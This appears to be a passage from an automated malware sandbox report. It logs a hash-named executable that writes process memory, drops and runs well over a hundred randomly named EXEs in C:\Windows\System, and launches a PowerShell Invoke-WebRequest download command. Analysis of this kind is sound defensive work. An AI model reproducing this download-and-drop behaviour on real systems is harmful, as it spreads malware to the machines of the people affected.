PID 2076 wrote to memory of 1476	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	46
PID 2076 wrote to memory of 1476	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	46
PID 2076 wrote to memory of 1476	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	46
PID 2076 wrote to memory of 1860	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	47
PID 2076 wrote to memory of 1860	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	47
PID 2076 wrote to memory of 1860	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	47
PID 2076 wrote to memory of 2364	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	48
PID 2076 wrote to memory of 2364	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	48
PID 2076 wrote to memory of 2364	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	48
PID 2076 wrote to memory of 2132	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	49
PID 2076 wrote to memory of 2132	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	49
PID 2076 wrote to memory of 2132	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	49
PID 2076 wrote to memory of 2040	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	50
PID 2076 wrote to memory of 2040	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	50
PID 2076 wrote to memory of 2040	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	50
PID 2076 wrote to memory of 1068	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	51
PID 2076 wrote to memory of 1068	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	51
PID 2076 wrote to memory of 1068	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	51
PID 2076 wrote to memory of 2024	2076	2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe	52

C:\Users\Admin\AppData\Local\Temp\2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe
"C:\Users\Admin\AppData\Local\Temp\2055e1ff305b28470d0675dba78dd750fde246f8d8f74dfec983221fcf8d6893.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- C:\Windows\System\CqBXGgb.exe
  C:\Windows\System\CqBXGgb.exe
  2⤵
  - Executes dropped EXE
  PID:3052
- C:\Windows\System\McpGPwO.exe
  C:\Windows\System\McpGPwO.exe
  2⤵
  - Executes dropped EXE
  PID:564
- C:\Windows\System\RkdkVSz.exe
  C:\Windows\System\RkdkVSz.exe
  2⤵
  - Executes dropped EXE
  PID:2252
- C:\Windows\System\mpkbbeR.exe
  C:\Windows\System\mpkbbeR.exe
  2⤵
  - Executes dropped EXE
  PID:3048
- C:\Windows\System\eRdRmBi.exe
  C:\Windows\System\eRdRmBi.exe
  2⤵
  - Executes dropped EXE
  PID:1208
- C:\Windows\System\BKyfddy.exe
  C:\Windows\System\BKyfddy.exe
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Windows\System\UioJucY.exe
  C:\Windows\System\UioJucY.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\wHDdktL.exe
  C:\Windows\System\wHDdktL.exe
  2⤵
  - Executes dropped EXE
  PID:2872
- C:\Windows\System\rzPhExA.exe
  C:\Windows\System\rzPhExA.exe
  2⤵
  - Executes dropped EXE
  PID:2752
- C:\Windows\System\GAqftoW.exe
  C:\Windows\System\GAqftoW.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\iVyskSE.exe
  C:\Windows\System\iVyskSE.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\erKXMjS.exe
  C:\Windows\System\erKXMjS.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\lQpdzyo.exe
  C:\Windows\System\lQpdzyo.exe
  2⤵
  - Executes dropped EXE
  PID:1972
- C:\Windows\System\ZVSjVWr.exe
  C:\Windows\System\ZVSjVWr.exe
  2⤵
  - Executes dropped EXE
  PID:1192
- C:\Windows\System\zwDjfgh.exe
  C:\Windows\System\zwDjfgh.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\MupTNuG.exe
  C:\Windows\System\MupTNuG.exe
  2⤵
  - Executes dropped EXE
  PID:1860
- C:\Windows\System\nfSZyrS.exe
  C:\Windows\System\nfSZyrS.exe
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Windows\System\YvPxpSa.exe
  C:\Windows\System\YvPxpSa.exe
  2⤵
  - Executes dropped EXE
  PID:2132
- C:\Windows\System\PpfxLWP.exe
  C:\Windows\System\PpfxLWP.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\aZCONle.exe
  C:\Windows\System\aZCONle.exe
  2⤵
  - Executes dropped EXE
  PID:1068
- C:\Windows\System\EmuhbsR.exe
  C:\Windows\System\EmuhbsR.exe
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\System\ZDHEnDR.exe
  C:\Windows\System\ZDHEnDR.exe
  2⤵
  - Executes dropped EXE
  PID:1168
- C:\Windows\System\bkMGDIN.exe
  C:\Windows\System\bkMGDIN.exe
  2⤵
  - Executes dropped EXE
  PID:1116
- C:\Windows\System\cFOSmLs.exe
  C:\Windows\System\cFOSmLs.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Windows\System\WHWdfbR.exe
  C:\Windows\System\WHWdfbR.exe
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\Windows\System\NGmAwbp.exe
  C:\Windows\System\NGmAwbp.exe
  2⤵
  - Executes dropped EXE
  PID:2936
- C:\Windows\System\uekLRKG.exe
  C:\Windows\System\uekLRKG.exe
  2⤵
  - Executes dropped EXE
  PID:740
- C:\Windows\System\pJFYAHi.exe
  C:\Windows\System\pJFYAHi.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\molYLKd.exe
  C:\Windows\System\molYLKd.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\mvmZSFF.exe
  C:\Windows\System\mvmZSFF.exe
  2⤵
  - Executes dropped EXE
  PID:604
- C:\Windows\System\vlOLxwt.exe
  C:\Windows\System\vlOLxwt.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Windows\System\yseYWTd.exe
  C:\Windows\System\yseYWTd.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\oBpMSug.exe
  C:\Windows\System\oBpMSug.exe
  2⤵
  - Executes dropped EXE
  PID:900
- C:\Windows\System\ExMTWBF.exe
  C:\Windows\System\ExMTWBF.exe
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Windows\System\TYomvaF.exe
  C:\Windows\System\TYomvaF.exe
  2⤵
  - Executes dropped EXE
  PID:2232
- C:\Windows\System\YuttOAi.exe
  C:\Windows\System\YuttOAi.exe
  2⤵
  - Executes dropped EXE
  PID:1020
- C:\Windows\System\VXHGZen.exe
  C:\Windows\System\VXHGZen.exe
  2⤵
  - Executes dropped EXE
  PID:1148
- C:\Windows\System\HpYQJVv.exe
  C:\Windows\System\HpYQJVv.exe
  2⤵
  - Executes dropped EXE
  PID:2192
- C:\Windows\System\TqhrJwB.exe
  C:\Windows\System\TqhrJwB.exe
  2⤵
  - Executes dropped EXE
  PID:824
- C:\Windows\System\taZdEgi.exe
  C:\Windows\System\taZdEgi.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\adeQOmU.exe
  C:\Windows\System\adeQOmU.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\VgwbPui.exe
  C:\Windows\System\VgwbPui.exe
  2⤵
  - Executes dropped EXE
  PID:1324
- C:\Windows\System\CkinhzY.exe
  C:\Windows\System\CkinhzY.exe
  2⤵
  - Executes dropped EXE
  PID:2008
- C:\Windows\System\zerlAoT.exe
  C:\Windows\System\zerlAoT.exe
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\System\cVhTXgh.exe
  C:\Windows\System\cVhTXgh.exe
  2⤵
  - Executes dropped EXE
  PID:3024
- C:\Windows\System\vonLUJi.exe
  C:\Windows\System\vonLUJi.exe
  2⤵
  - Executes dropped EXE
  PID:3016
- C:\Windows\System\tNxpKCn.exe
  C:\Windows\System\tNxpKCn.exe
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Windows\System\EpMgZHP.exe
  C:\Windows\System\EpMgZHP.exe
  2⤵
  - Executes dropped EXE
  PID:2280
- C:\Windows\System\oRhlKwp.exe
  C:\Windows\System\oRhlKwp.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\kTxTliT.exe
  C:\Windows\System\kTxTliT.exe
  2⤵
  - Executes dropped EXE
  PID:536
- C:\Windows\System\XAHNgHQ.exe
  C:\Windows\System\XAHNgHQ.exe
  2⤵
  - Executes dropped EXE
  PID:2912
- C:\Windows\System\EiXUVXj.exe
  C:\Windows\System\EiXUVXj.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\GxCEays.exe
  C:\Windows\System\GxCEays.exe
  2⤵
  - Executes dropped EXE
  PID:2676
- C:\Windows\System\ylEsYWA.exe
  C:\Windows\System\ylEsYWA.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\ytopOHI.exe
  C:\Windows\System\ytopOHI.exe
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System\yDqSwxt.exe
  C:\Windows\System\yDqSwxt.exe
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\Windows\System\qofHAoa.exe
  C:\Windows\System\qofHAoa.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Windows\System\mOtCuAJ.exe
  C:\Windows\System\mOtCuAJ.exe
  2⤵
  - Executes dropped EXE
  PID:1868
- C:\Windows\System\pcgGafO.exe
  C:\Windows\System\pcgGafO.exe
  2⤵
  - Executes dropped EXE
  PID:2548
- C:\Windows\System\DgEZoPY.exe
  C:\Windows\System\DgEZoPY.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\System\dAIfswj.exe
  C:\Windows\System\dAIfswj.exe
  2⤵
  - Executes dropped EXE
  PID:292
- C:\Windows\System\QveHyKL.exe
  C:\Windows\System\QveHyKL.exe
  2⤵
  - Executes dropped EXE
  PID:1892
- C:\Windows\System\EprcMBh.exe
  C:\Windows\System\EprcMBh.exe
  2⤵
  - Executes dropped EXE
  PID:1636
- C:\Windows\System\GQnLfNf.exe
  C:\Windows\System\GQnLfNf.exe
  2⤵
  - Executes dropped EXE
  PID:928
- C:\Windows\System\VrLbXcH.exe
  C:\Windows\System\VrLbXcH.exe
  2⤵
  PID:2216
- C:\Windows\System\BNtYodQ.exe
  C:\Windows\System\BNtYodQ.exe
  2⤵
  PID:2440
- C:\Windows\System\krmaSSr.exe
  C:\Windows\System\krmaSSr.exe
  2⤵
  PID:576
- C:\Windows\System\VCVhmBh.exe
  C:\Windows\System\VCVhmBh.exe
  2⤵
  PID:444
- C:\Windows\System\IzJVKek.exe
  C:\Windows\System\IzJVKek.exe
  2⤵
  PID:1880
- C:\Windows\System\AKuEPLZ.exe
  C:\Windows\System\AKuEPLZ.exe
  2⤵
  PID:1884
- C:\Windows\System\pNszLXm.exe
  C:\Windows\System\pNszLXm.exe
  2⤵
  PID:1724
- C:\Windows\System\KbTxidX.exe
  C:\Windows\System\KbTxidX.exe
  2⤵
  PID:2352
- C:\Windows\System\ozVqQAP.exe
  C:\Windows\System\ozVqQAP.exe
  2⤵
  PID:956
- C:\Windows\System\CNhLiZr.exe
  C:\Windows\System\CNhLiZr.exe
  2⤵
  PID:2248
- C:\Windows\System\zkezkLb.exe
  C:\Windows\System\zkezkLb.exe
  2⤵
  PID:1088
- C:\Windows\System\iIGYRvB.exe
  C:\Windows\System\iIGYRvB.exe
  2⤵
  PID:3044
- C:\Windows\System\ECnUaay.exe
  C:\Windows\System\ECnUaay.exe
  2⤵
  PID:1556
- C:\Windows\System\BTkeWBY.exe
  C:\Windows\System\BTkeWBY.exe
  2⤵
  PID:1484
- C:\Windows\System\gjtTdst.exe
  C:\Windows\System\gjtTdst.exe
  2⤵
  PID:2336
- C:\Windows\System\GYFAZBe.exe
  C:\Windows\System\GYFAZBe.exe
  2⤵
  PID:3020
- C:\Windows\System\aTBAtPV.exe
  C:\Windows\System\aTBAtPV.exe
  2⤵
  PID:2540
- C:\Windows\System\wsaXHpG.exe
  C:\Windows\System\wsaXHpG.exe
  2⤵
  PID:2460
- C:\Windows\System\SZKqvRn.exe
  C:\Windows\System\SZKqvRn.exe
  2⤵
  PID:2812
- C:\Windows\System\fgRaxjI.exe
  C:\Windows\System\fgRaxjI.exe
  2⤵
  PID:2680
- C:\Windows\System\LYAYjBb.exe
  C:\Windows\System\LYAYjBb.exe
  2⤵
  PID:2640
- C:\Windows\System\cfLYhtT.exe
  C:\Windows\System\cfLYhtT.exe
  2⤵
  PID:1132
- C:\Windows\System\FDpvvZb.exe
  C:\Windows\System\FDpvvZb.exe
  2⤵
  PID:2868
- C:\Windows\System\BpUFNPu.exe
  C:\Windows\System\BpUFNPu.exe
  2⤵
  PID:2200
- C:\Windows\System\kHSSCYM.exe
  C:\Windows\System\kHSSCYM.exe
  2⤵
  PID:1696
- C:\Windows\System\sstdjpc.exe
  C:\Windows\System\sstdjpc.exe
  2⤵
  PID:2652
- C:\Windows\System\fyMyghH.exe
  C:\Windows\System\fyMyghH.exe
  2⤵
  PID:2604
- C:\Windows\System\yvfRFgd.exe
  C:\Windows\System\yvfRFgd.exe
  2⤵
  PID:2620
- C:\Windows\System\nyqbHkU.exe
  C:\Windows\System\nyqbHkU.exe
  2⤵
  PID:2860
- C:\Windows\System\fqNxWmm.exe
  C:\Windows\System\fqNxWmm.exe
  2⤵
  PID:1624
- C:\Windows\System\kUQCRtj.exe
  C:\Windows\System\kUQCRtj.exe
  2⤵
  PID:1964
- C:\Windows\System\aucgaCl.exe
  C:\Windows\System\aucgaCl.exe
  2⤵
  PID:992
- C:\Windows\System\xIBQGlg.exe
  C:\Windows\System\xIBQGlg.exe
  2⤵
  PID:2100
- C:\Windows\System\kNoPvSw.exe
  C:\Windows\System\kNoPvSw.exe
  2⤵
  PID:1996
- C:\Windows\System\JlZlUai.exe
  C:\Windows\System\JlZlUai.exe
  2⤵
  PID:2080
- C:\Windows\System\FZQIYOO.exe
  C:\Windows\System\FZQIYOO.exe
  2⤵
  PID:2112
- C:\Windows\System\PGNpbBY.exe
  C:\Windows\System\PGNpbBY.exe
  2⤵
  PID:2820
- C:\Windows\System\EvulvZZ.exe
  C:\Windows\System\EvulvZZ.exe
  2⤵
  PID:2668
- C:\Windows\System\ZZCbvko.exe
  C:\Windows\System\ZZCbvko.exe
  2⤵
  PID:2732
- C:\Windows\System\mVgdqoK.exe
  C:\Windows\System\mVgdqoK.exe
  2⤵
  PID:1976
- C:\Windows\System\DsdefKx.exe
  C:\Windows\System\DsdefKx.exe
  2⤵
  PID:2368
- C:\Windows\System\mRFLnhJ.exe
  C:\Windows\System\mRFLnhJ.exe
  2⤵
  PID:2032
- C:\Windows\System\sbgdXqN.exe
  C:\Windows\System\sbgdXqN.exe
  2⤵
  PID:1472
- C:\Windows\System\vPUQLIs.exe
  C:\Windows\System\vPUQLIs.exe
  2⤵
  PID:1092
- C:\Windows\System\deTEyEg.exe
  C:\Windows\System\deTEyEg.exe
  2⤵
  PID:2492
- C:\Windows\System\DJRFOSU.exe
  C:\Windows\System\DJRFOSU.exe
  2⤵
  PID:1628
- C:\Windows\System\wWqJnBu.exe
  C:\Windows\System\wWqJnBu.exe
  2⤵
  PID:3040
- C:\Windows\System\XgNJGnK.exe
  C:\Windows\System\XgNJGnK.exe
  2⤵
  PID:1552
- C:\Windows\System\WvGAEHM.exe
  C:\Windows\System\WvGAEHM.exe
  2⤵
  PID:2920
- C:\Windows\System\PPHWoRH.exe
  C:\Windows\System\PPHWoRH.exe
  2⤵
  PID:980
- C:\Windows\System\NgofMyM.exe
  C:\Windows\System\NgofMyM.exe
  2⤵
  PID:1504
- C:\Windows\System\bDtsEQw.exe
  C:\Windows\System\bDtsEQw.exe
  2⤵
  PID:2176
- C:\Windows\System\ebSGBEM.exe
  C:\Windows\System\ebSGBEM.exe
  2⤵
  PID:2852
- C:\Windows\System\POKwwiB.exe
  C:\Windows\System\POKwwiB.exe
  2⤵
  PID:2344
- C:\Windows\System\QNrdTMU.exe
  C:\Windows\System\QNrdTMU.exe
  2⤵
  PID:2672
- C:\Windows\System\pOgqbeD.exe
  C:\Windows\System\pOgqbeD.exe
  2⤵
  PID:2772
- C:\Windows\System\UEbqUpb.exe
  C:\Windows\System\UEbqUpb.exe
  2⤵
  PID:2600
- C:\Windows\System\TAFjYVj.exe
  C:\Windows\System\TAFjYVj.exe
  2⤵
  PID:1720
- C:\Windows\System\bdKlrnB.exe
  C:\Windows\System\bdKlrnB.exe
  2⤵
  PID:1284
- C:\Windows\System\hiyICVp.exe
  C:\Windows\System\hiyICVp.exe
  2⤵
  PID:2072
- C:\Windows\System\JVlXsVc.exe
  C:\Windows\System\JVlXsVc.exe
  2⤵
  PID:1616
- C:\Windows\System\pGupjgl.exe
  C:\Windows\System\pGupjgl.exe
  2⤵
  PID:2104
- C:\Windows\System\fGgPgcT.exe
  C:\Windows\System\fGgPgcT.exe
  2⤵
  PID:1744
- C:\Windows\System\XHeikFK.exe
  C:\Windows\System\XHeikFK.exe
  2⤵
  PID:3000
- C:\Windows\System\cXDTKRy.exe
  C:\Windows\System\cXDTKRy.exe
  2⤵
  PID:1040
- C:\Windows\System\FcwUebs.exe
  C:\Windows\System\FcwUebs.exe
  2⤵
  PID:1708
- C:\Windows\System\AfqbzWJ.exe
  C:\Windows\System\AfqbzWJ.exe
  2⤵
  PID:1560
- C:\Windows\System\knftIGV.exe
  C:\Windows\System\knftIGV.exe
  2⤵
  PID:2272
- C:\Windows\System\fkJXPfL.exe
  C:\Windows\System\fkJXPfL.exe
  2⤵
  PID:2384
- C:\Windows\System\UmOFgmy.exe
  C:\Windows\System\UmOFgmy.exe
  2⤵
  PID:2520
- C:\Windows\System\yfCAfgf.exe
  C:\Windows\System\yfCAfgf.exe
  2⤵
  PID:792
- C:\Windows\System\qNtvsNA.exe
  C:\Windows\System\qNtvsNA.exe
  2⤵
  PID:2616
- C:\Windows\System\FGkaqBm.exe
  C:\Windows\System\FGkaqBm.exe
  2⤵
  PID:2988
- C:\Windows\System\JqDPMlR.exe
  C:\Windows\System\JqDPMlR.exe
  2⤵
  PID:876
- C:\Windows\System\SFhYFHa.exe
  C:\Windows\System\SFhYFHa.exe
  2⤵
  PID:3060
- C:\Windows\System\iYottFE.exe
  C:\Windows\System\iYottFE.exe
  2⤵
  PID:2312
- C:\Windows\System\VBBaOfm.exe
  C:\Windows\System\VBBaOfm.exe
  2⤵
  PID:2784
- C:\Windows\System\ZcHOtmT.exe
  C:\Windows\System\ZcHOtmT.exe
  2⤵
  PID:3084
- C:\Windows\System\FutzNyT.exe
  C:\Windows\System\FutzNyT.exe
  2⤵
  PID:3100
- C:\Windows\System\LgwMdXD.exe
  C:\Windows\System\LgwMdXD.exe
  2⤵
  PID:3116
- C:\Windows\System\WsYwzhH.exe
  C:\Windows\System\WsYwzhH.exe
  2⤵
  PID:3132
- C:\Windows\System\afwXOLT.exe
  C:\Windows\System\afwXOLT.exe
  2⤵
  PID:3148
- C:\Windows\System\jsHNvoM.exe
  C:\Windows\System\jsHNvoM.exe
  2⤵
  PID:3164
- C:\Windows\System\sSuzDKh.exe
  C:\Windows\System\sSuzDKh.exe
  2⤵
  PID:3180
- C:\Windows\System\wzixMJu.exe
  C:\Windows\System\wzixMJu.exe
  2⤵
  PID:3196
- C:\Windows\System\sLLcgZH.exe
  C:\Windows\System\sLLcgZH.exe
  2⤵
  PID:3212
- C:\Windows\System\ESQVuIk.exe
  C:\Windows\System\ESQVuIk.exe
  2⤵
  PID:3228
- C:\Windows\System\vLaykEo.exe
  C:\Windows\System\vLaykEo.exe
  2⤵
  PID:3244
- C:\Windows\System\TrqbLiW.exe
  C:\Windows\System\TrqbLiW.exe
  2⤵
  PID:3260
- C:\Windows\System\TrThroh.exe
  C:\Windows\System\TrThroh.exe
  2⤵
  PID:3276
- C:\Windows\System\mcCACLA.exe
  C:\Windows\System\mcCACLA.exe
  2⤵
  PID:3292
- C:\Windows\System\LxtqRvI.exe
  C:\Windows\System\LxtqRvI.exe
  2⤵
  PID:3308
- C:\Windows\System\jKbgYph.exe
  C:\Windows\System\jKbgYph.exe
  2⤵
  PID:3324
- C:\Windows\System\gMhWZNB.exe
  C:\Windows\System\gMhWZNB.exe
  2⤵
  PID:3340
- C:\Windows\System\BDcVMjE.exe
  C:\Windows\System\BDcVMjE.exe
  2⤵
  PID:3356
- C:\Windows\System\kdVKKEO.exe
  C:\Windows\System\kdVKKEO.exe
  2⤵
  PID:3372
- C:\Windows\System\fmXBcZj.exe
  C:\Windows\System\fmXBcZj.exe
  2⤵
  PID:3388
- C:\Windows\System\TXGlMjw.exe
  C:\Windows\System\TXGlMjw.exe
  2⤵
  PID:3404
- C:\Windows\System\dsJIxhY.exe
  C:\Windows\System\dsJIxhY.exe
  2⤵
  PID:3420
- C:\Windows\System\qbRoBSa.exe
  C:\Windows\System\qbRoBSa.exe
  2⤵
  PID:3436
- C:\Windows\System\czinCQN.exe
  C:\Windows\System\czinCQN.exe
  2⤵
  PID:3452
- C:\Windows\System\SkdOPXO.exe
  C:\Windows\System\SkdOPXO.exe
  2⤵
  PID:3468
- C:\Windows\System\qPAjrGn.exe
  C:\Windows\System\qPAjrGn.exe
  2⤵
  PID:3484
- C:\Windows\System\FpuYUzU.exe
  C:\Windows\System\FpuYUzU.exe
  2⤵
  PID:3500
- C:\Windows\System\QnsCezt.exe
  C:\Windows\System\QnsCezt.exe
  2⤵
  PID:3516
- C:\Windows\System\yswmKPe.exe
  C:\Windows\System\yswmKPe.exe
  2⤵
  PID:3532
- C:\Windows\System\FZURGoj.exe
  C:\Windows\System\FZURGoj.exe
  2⤵
  PID:3548
- C:\Windows\System\vwKfMno.exe
  C:\Windows\System\vwKfMno.exe
  2⤵
  PID:3564
- C:\Windows\System\toUPlJU.exe
  C:\Windows\System\toUPlJU.exe
  2⤵
  PID:3580
- C:\Windows\System\DPlPSMR.exe
  C:\Windows\System\DPlPSMR.exe
  2⤵
  PID:3596
- C:\Windows\System\gHAdmWw.exe
  C:\Windows\System\gHAdmWw.exe
  2⤵
  PID:3612
- C:\Windows\System\ttSkgTN.exe
  C:\Windows\System\ttSkgTN.exe
  2⤵
  PID:3628
- C:\Windows\System\LpIshwq.exe
  C:\Windows\System\LpIshwq.exe
  2⤵
  PID:3644
- C:\Windows\System\AtocmzJ.exe
  C:\Windows\System\AtocmzJ.exe
  2⤵
  PID:3660
- C:\Windows\System\tNljgoi.exe
  C:\Windows\System\tNljgoi.exe
  2⤵
  PID:3676
- C:\Windows\System\WbUFNup.exe
  C:\Windows\System\WbUFNup.exe
  2⤵
  PID:3692
- C:\Windows\System\cgdPQHq.exe
  C:\Windows\System\cgdPQHq.exe
  2⤵
  PID:3708
- C:\Windows\System\RwxsbJZ.exe
  C:\Windows\System\RwxsbJZ.exe
  2⤵
  PID:3724
- C:\Windows\System\HEmNvzr.exe
  C:\Windows\System\HEmNvzr.exe
  2⤵
  PID:3740
- C:\Windows\System\vXdVyaN.exe
  C:\Windows\System\vXdVyaN.exe
  2⤵
  PID:3756
- C:\Windows\System\nssZXUT.exe
  C:\Windows\System\nssZXUT.exe
  2⤵
  PID:3772
- C:\Windows\System\GYViKZW.exe
  C:\Windows\System\GYViKZW.exe
  2⤵
  PID:3788
- C:\Windows\System\vQmOnLt.exe
  C:\Windows\System\vQmOnLt.exe
  2⤵
  PID:3804
- C:\Windows\System\KzRgTJR.exe
  C:\Windows\System\KzRgTJR.exe
  2⤵
  PID:3820
- C:\Windows\System\MgMGNGJ.exe
  C:\Windows\System\MgMGNGJ.exe
  2⤵
  PID:3836
- C:\Windows\System\yIvsfIq.exe
  C:\Windows\System\yIvsfIq.exe
  2⤵
  PID:3852
- C:\Windows\System\qLbSexw.exe
  C:\Windows\System\qLbSexw.exe
  2⤵
  PID:3868
- C:\Windows\System\uPpMedm.exe
  C:\Windows\System\uPpMedm.exe
  2⤵
  PID:3884
- C:\Windows\System\sXndTpV.exe
  C:\Windows\System\sXndTpV.exe
  2⤵
  PID:3900
- C:\Windows\System\OleQXMt.exe
  C:\Windows\System\OleQXMt.exe
  2⤵
  PID:3916
- C:\Windows\System\bJSvYFI.exe
  C:\Windows\System\bJSvYFI.exe
  2⤵
  PID:3932
- C:\Windows\System\jXWNLNY.exe
  C:\Windows\System\jXWNLNY.exe
  2⤵
  PID:3948
- C:\Windows\System\hpIFQfm.exe
  C:\Windows\System\hpIFQfm.exe
  2⤵
  PID:3964
- C:\Windows\System\TyzeXbf.exe
  C:\Windows\System\TyzeXbf.exe
  2⤵
  PID:3980
- C:\Windows\System\gBMrQfc.exe
  C:\Windows\System\gBMrQfc.exe
  2⤵
  PID:3996
- C:\Windows\System\gITDeAq.exe
  C:\Windows\System\gITDeAq.exe
  2⤵
  PID:4012
- C:\Windows\System\zEtUWLb.exe
  C:\Windows\System\zEtUWLb.exe
  2⤵
  PID:4028
- C:\Windows\System\JyoUCFc.exe
  C:\Windows\System\JyoUCFc.exe
  2⤵
  PID:4044
- C:\Windows\System\gjMgmLD.exe
  C:\Windows\System\gjMgmLD.exe
  2⤵
  PID:4060
- C:\Windows\System\LpqXvEh.exe
  C:\Windows\System\LpqXvEh.exe
  2⤵
  PID:4076
- C:\Windows\System\YnmeFiT.exe
  C:\Windows\System\YnmeFiT.exe
  2⤵
  PID:4092
- C:\Windows\System\dRrrphC.exe
  C:\Windows\System\dRrrphC.exe
  2⤵
  PID:2776
- C:\Windows\System\HhNYLSJ.exe
  C:\Windows\System\HhNYLSJ.exe
  2⤵
  PID:1856
- C:\Windows\System\BCbvZxp.exe
  C:\Windows\System\BCbvZxp.exe
  2⤵
  PID:1680
- C:\Windows\System\BkhwGVY.exe
  C:\Windows\System\BkhwGVY.exe
  2⤵
  PID:2544
- C:\Windows\System\ywAaENl.exe
  C:\Windows\System\ywAaENl.exe
  2⤵
  PID:3080
- C:\Windows\System\vMHKXqC.exe
  C:\Windows\System\vMHKXqC.exe
  2⤵
  PID:3108
- C:\Windows\System\FgHsLol.exe
  C:\Windows\System\FgHsLol.exe
  2⤵
  PID:3144
- C:\Windows\System\DtPFRdy.exe
  C:\Windows\System\DtPFRdy.exe
  2⤵
  PID:3156
- C:\Windows\System\fiZVlGz.exe
  C:\Windows\System\fiZVlGz.exe
  2⤵
  PID:3188
- C:\Windows\System\eFwwzwU.exe
  C:\Windows\System\eFwwzwU.exe
  2⤵
  PID:3224
- C:\Windows\System\MnSinQL.exe
  C:\Windows\System\MnSinQL.exe
  2⤵
  PID:3272
- C:\Windows\System\xDQgfZI.exe
  C:\Windows\System\xDQgfZI.exe
  2⤵
  PID:3284
- C:\Windows\System\TEoIPCm.exe
  C:\Windows\System\TEoIPCm.exe
  2⤵
  PID:3320
- C:\Windows\System\vswcVxr.exe
  C:\Windows\System\vswcVxr.exe
  2⤵
  PID:3352
- C:\Windows\System\NmtYDAt.exe
  C:\Windows\System\NmtYDAt.exe
  2⤵
  PID:3400
- C:\Windows\System\wciwcyb.exe
  C:\Windows\System\wciwcyb.exe
  2⤵
  PID:3416
- C:\Windows\System\hSPvVBw.exe
  C:\Windows\System\hSPvVBw.exe
  2⤵
  PID:3448
- C:\Windows\System\OFpNdvd.exe
  C:\Windows\System\OFpNdvd.exe
  2⤵
  PID:3496
- C:\Windows\System\kvBIGNR.exe
  C:\Windows\System\kvBIGNR.exe
  2⤵
  PID:3528
- C:\Windows\System\kAeKITt.exe
  C:\Windows\System\kAeKITt.exe
  2⤵
  PID:3560
- C:\Windows\System\TSwVmwu.exe
  C:\Windows\System\TSwVmwu.exe
  2⤵
  PID:3592
- C:\Windows\System\vUMxiVn.exe
  C:\Windows\System\vUMxiVn.exe
  2⤵
  PID:3624
- C:\Windows\System\jJLcngF.exe
  C:\Windows\System\jJLcngF.exe
  2⤵
  PID:3640
- C:\Windows\System\SWLQNSf.exe
  C:\Windows\System\SWLQNSf.exe
  2⤵
  PID:3688
- C:\Windows\System\vKZYoXa.exe
  C:\Windows\System\vKZYoXa.exe
  2⤵
  PID:3704
- C:\Windows\System\oprAdCd.exe
  C:\Windows\System\oprAdCd.exe
  2⤵
  PID:3736
- C:\Windows\System\LQcKGav.exe
  C:\Windows\System\LQcKGav.exe
  2⤵
  PID:3768
- C:\Windows\System\pKFhMzp.exe
  C:\Windows\System\pKFhMzp.exe
